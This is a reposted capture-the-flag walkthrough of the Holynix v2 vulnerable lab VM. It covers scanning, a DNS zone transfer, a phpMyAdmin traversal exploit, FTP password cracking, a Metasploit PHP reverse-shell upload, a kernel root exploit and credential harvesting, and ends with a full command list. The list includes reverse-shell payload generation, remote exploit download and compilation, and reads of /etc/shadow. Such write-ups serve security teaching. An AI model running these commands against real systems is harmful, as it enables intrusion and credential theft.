*** Do NOT attack any computer or network without authorization or you may put into jail. ***Credit to : g0tmi1k
This is g0tmi1k's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.
The original post at here
Video Links
Watch video on-line
Download video
Brief Overview
Holynix is a series of operating systems with purposely designed weakness(es) left inside. The aim of them is to go from "boot-to-root"; the user has to try and get a shell with the highest user privilege they can reach.
Method
Scanned network for the target (Netdiscover)
Configured IP address (192.168.1.0/24)
Port scanned the target (unicornscan)
Banner grabbed the services running on the open ports (nmap)
Added the target's IP to the host file & Re-configured DNS settings
Successfully replicated the DNS databases (Zone Transfer)
Successfully brute forced web server directories (DirBuster)
Detected & exploited outdated software (phpMyAdmin)
Discovered an internal document (DirBuster)
Cracked FTP passwords (John The Ripper)
Uploaded a web backdoor (Metasploit)
Escalated privileges via a vulnerable kernel version
Located MySQL database details
What do I need?
kolynix-v2.tar.bz2 (MD5: 2B91038DE5C5150BFC48AA39C84E7E71) – (Homepage).
A virtual machine (Example: Virtual Box or VMware Player).
Netdiscover – (Can be found on BackTrack 5).
Nmap – (Can be found on BackTrack 5).
Unicornscan – (Can be found in BackTrack 5's repository).
DirBuster – (Can be found in BackTrack 5).
Exploit-DB – (Can be found on BackTrack 5).
John The Ripper – (Can be found on BackTrack 5).
Metasploit – (Can be found on BackTrack 5).
Walkthrough
To begin, the attacker needed to locate the target. This was accomplished by using "netdiscover", as it was able to scan for hosts on multiple IP ranges quickly. The output from the scan had the target on a different IP range from the DHCP server's pool, meaning the target had a static IP address. The IP address, MAC address and vendor was now known to the attacker and they updated their IP address to fit inside the same IP range as the target.
Once the attacker was in the same subnet as the target, the attacker completed a full port scan of both TCP & UDP on the target by using "unicornscan". When the scan had finished, the results showed that the target had four TCP ports open: 21, 22, 53 & 80, as well as one UDP port, 53.
Afterwards, the attacker wanted to know what services were being used on these ports. By using "nmap" to banner grab the services, the protocols and services (and possible versions) were able to be identified, along with finger printing the operating system which was being used. The outcome of the scan revealed that the services being used matched up to their default protocol ports; ftp, ssh, dns and web services.
The attacker then proceeded by interacting with the target's web server, and by doing so, they were able to find some useful information; the domain name, name servers and each user had their own sub-domain. The attacker updates their system to reflect the newly discovered information by replacing the DNS server to point to the target.
The attacker then sets out to produce a list of possible usernames via the sub-domain by using DNS enumeration. By using "dig" the attacker was able to gather details about the domain, zincftp.com. This revealed that there were two DNS servers; the primary server was pointed to itself, the secondary server had an IP address increased by one of the primary servers. From the earlier nmap scan, the attacker knew that this IP address wasn't currently being used. The attacker then attempted a zone transfer as DNS port (TCP 53) was open, which would clone the DNS database; however it failed. But, by the attacker changing their IP address to match the secondary DNS server and re-trying the request, this time the attacker was presented with a list of all the known values for the DNS service.
The next stage was to extract a list of all known hosts from the sub-domains as well as a possible list of usernames. Upon futher inspection of the list, the attacker then filtered out all the primary server values - which left a few interesting results such as; the nameservers (which were already known), a mail server (which was on a completely different IP range) and trusted.zincftp.com.
The attacker then moves their force back to the web server. "DirBuster" was able to brute force a list of directories on a web server and check their status. In the first scan, the attacker notices two folders (/phpMyAdmin/ & /setup_guide/) which returned "HTTP response code 403 - Forbidden". The attacker then changes their IP address to match the same value as "trusted.zincftp.com" and re-open another instance of DirBuster to compare the output. After the second scan had completed, the two previous denied folders, had returned "HTTP response code 200 - OK". The attacker then chooses to view what was meant to be hidden and discovers that one page is an unprotected phpMyAdmin page as well as a directory listing which only contained one file "todo".
By exploring the phpMyAdmin page, the attacker was able to view the contents of the database which contained two usernames and their email addresses, which the attacker adds to their list of known users. Afterwards, the attacker checks the version of phpMyAdmin and notices it's a very old version and checks to see if there has been any known exploits released for it in their local copy of public exploits from "exploit-db". After checking the versions the attacker discovers that there is a remote directory traversal vulnerability.
The exploit allowed the attacker to view any files which had the same permission that phpMyAdmin was being run as. By using this, the attacker was able to discover all the user accounts on the system, by using a known file which commonly contains details of each user on the system (/etc/passwd). After analysing the file the attacker saw that not every user had shell access, and filtered these users out, as they wouldn't be able to gain remote shell. The attacker then made a note of those usernames in a separate file, as they have higher priority.
Afterwards the attacker viewed the "todo" file on the web server, which displayed the internal working of the company when a new user is added to the system. The last stage was to add them to the FTP service, allowing them to download/upload files to the server. By using the phpMyAdmin exploit, the attacker was able to read the encrypted password file which contained the user credentials.
The attacker now had a local copy of the users which were allowed to use the FTP service, along with their passwords, however, it was encrypted. The attacker then locates a small wordlist to attempt to brute force the passwords. After loading the passwords and wordlist into "John The Ripper", the attacker discovered two passwords (jack-in-the-box and millionaire) which were used (due to them being inside the wordlist), along with the two usernames (dhammond and tmartin).
As the attacker was now able to view the user web folder via [username].zincftp.com, as well as being able to interact with the ftp server, the attacker created and uploaded a small test file to see if the two services overlapped with each other. (Editor's note: The VM at this stage had "run out of room", however, after restarting the holynix virtual machine it worked). The result was the message "Hello World" was displayed, meaning; FTP & Web root folders were the same, the attacker was able execute PHP commands. From this, the attacker then crafts a web based backdoor via "metasploit", setups a listener to catch the reverse connection and repeated the same procedure as before.
As soon as the php backdoor file was opened, it connected back to the attacker giving them remote access to the system, which allowed the attacker to interact with the operating system. The attacker continued by listing all the files of each user's personal home folder. As the backdoor was executed by the web server, the backdoor inherited the same permissions, and, as the web server had to display each user folder the attacker can also do the same. There were various personal files to some users; however the attacker spotted an email, and upon reading it discovered that the user had their password reset to their name along with a few random characters. The attacker located the username the email was sent to, after looking up the user's details by using the same file as before (/etc/passwd), to discover their full name. It was also a user that had been discovered before, due to the user having permission to login remotely.
The attacker now connects to the target via "SSH" with the newly acquired details and as a result had a remote TTY shell. The attacker then checked the current kernel version, and discovered like phpMyAdmin, it was out-dated, and checks in the same manner to see if there is a public exploit for it. After locating a possible exploit, the attacker then copied it to their root web folder, checked that the file had permission to be accessed by "Apache", that there wasn't any comments at the start of the file and then started the web server, to make the file accessible to the target.
Going back to the target, the attacker navigates to a folder which they usually have write access as well as the ability to execute programs, /tmp. The attacker then downloads the exploit locally on the target and then compiles it. As soon as the newly created program had been executed the attacker became the super user, root. The attacker now has access to the complete system...
Game over
The attacker decided that they wished to harvest the system for credentials. As databases can contain valuable and sensitive information, the attacker opted to gain access. The attacker was running as root, which would allow them to reset the password to anything they wished. However, this would have caused the functionality to stop, so instead they located them (as they had to be stored somewhere allowing the web server to interact with the database). The attacker navigated to a common location for the web root folder to be, and then, by searching for all files with php extension that use a common function to connect to a MySQL database, the attacker found all the insistences of the command. The attacker was then able to view the complete file which contained the phrase, and discovered the credentials in plain text.
Commands
netdiscover
ifconfig eth0
ifconfig eth0 192.168.1.192
ifconfig eth0
us -H -msf -Iv 192.168.1.88 -p 1-65535 && us -H -mU -Iv 192.168.1.88 -p 1-65535
nmap -p 1-65535 -T4 -A -v 192.168.1.88
firefox 192.168.1.88
echo www.zincftp.com 192.168.1.88 >> /etc/hosts
cat /etc/hosts
echo nameserver 192.168.1.88 > /etc/resolv.conf
cat /etc/resolv.conf
dig zincftp.com @192.168.1.88
dig AXFR zincftp.com @192.168.1.88
ifconfig eth0 192.168.1.89
dig AXFR zincftp.com @192.168.1.88
dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -f1 - | sort | uniq
dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -f1 - | sort | uniq > /tmp/hosts
dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -d . -f1 - | sort | uniq
dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -d . -f1 - | sort | uniq > /tmp/users
dig AXFR zincftp.com @192.168.1.88 | grep -v 192.168.1.88 | grep -v ";"
BackTrack -> Vulnerability Assessment -> Web Application Assessment -> Web Application Fuzzers -> DirBuster # http://192.168.1.88 directory-list-2.3-medium.txt
ifconfig eth0 192.168.1.34
BackTrack -> Vulnerability Assessment -> Web Application Assessment -> Web Application Fuzzers -> DirBuster # http://192.168.1.88 directory-list-2.3-medium.txt
Right Click -> Open In Broswer # /phpMyAdmin/ /setup_guide/
phpMyAdmin -> zincftp_data -> browse # shanover & lbaumann
phpMyAdmin -> home -> changelog
cd /pentest/exploits/exploitdb
grep -i phpmyadmin files.csv
perl platforms/php/webapps/1244.pl
perl platforms/php/etc/passwd
perl platforms/php/etc/passwd | grep /bin/bash | cut -d ":" -f1
perl platforms/php/webapps/1244.pl 192.168.1.88 /phpMyAdmin/ ../../../../../etc/passwd | grep /bin/bash | cut -d ":" -f1 > /tmp/sshUsers
firefox http://192.168.1.88/setup_guide/ -> todo
perl platforms/php/etc/pure-ftpd/pureftpd.passwd
perl platforms/php/etc/pure-ftpd/pureftpd.passwd | grep :/
perl platforms/php/etc/pure-ftpd/pureftpd.passwd | grep :/ > /tmp/ftpUsers
cd /pentest/passwords/john
find / -name password.lst
wc -l /pentest/passwords/wordlists/darkc0de.lst
wc -l /opt/framework3/msf3/data/john/wordlists/password.lst # Much smaller, therefore quicker!
./john --wordlist=/opt/framework3/msf3/data/john/wordlists/password.lst /tmp/ftpUsers # --rules
ftp 192.168.1.88 # dhammond jack-in-the-box
ls
cd web
echo "" > test.php
put test.php
curl dhammond.zincftp.com/test.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=443 -f raw > evil.php
msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=443 E
put evil.php
curl dhammond.zincftp.com/evil.php && exit
sysinfo
shell
id
python -c 'import pty; pty.spawn("/bin/sh")'
ls -lAhR /home
cat /home/amckinley/my_key.eml #first and last name, all lower case, followed by 2ba9
grep amckinley /etc/passwd # Agustin Mckinley
exit
quit
ssh amckinley@zincftp.com # agustinmckinley2ba9
id
uname -a
exit
exit
exit
cd /pentest/explotis/exploitdb
grep -i "linux kernel 2.6" files.csv | grep -i root #| uniq # grep -i dos
cp platforms/linux/local/5092.c /var/www/exploit.c
/etc/init.d/apache2 start
ls -l /var/www/exploit.c
head -n 20 /var/www/exploit.c # Check to make sure vaild code
cd /tmp
ls -la
wget 192.168.1.34/exploit.c
gcc exploit.c -o root
ls -la
./root
id && ifconfig && uname -a && cat /etc/shadow && ls -lahR /root
cd /var/www
find ./ -name *.php -print0 | xargs -0 grep -i -n "mysql_connect"
cat dev/dbconn.php
cat htdocs/dbconn.phpNotes
- When starting the VM for the first time with VMware, select "Moved It" - otherwise it could cause issues (e.g. the target will not be visible!).
- The user names which were collected were not essential for this, however this was included to demonstrate the techniques.
- On reflection, DirBuster was only used to visible compare the HTTP codes, depending on the IP address used. This could of been achived manually as checking "/phpMyAdmin/" is highly recommend (along with "/robots.txt" for example). Then by using the phpMyAdmin exploit, viewing the file "/etc/apache2/sites-enabled/000-default" would have revealed "/setup_guides/".
- Some mistakes in the video are more obvious.
- This video has been "over-edited" more than most of the other videos as it was made to fix the length of music.
That's all! See you.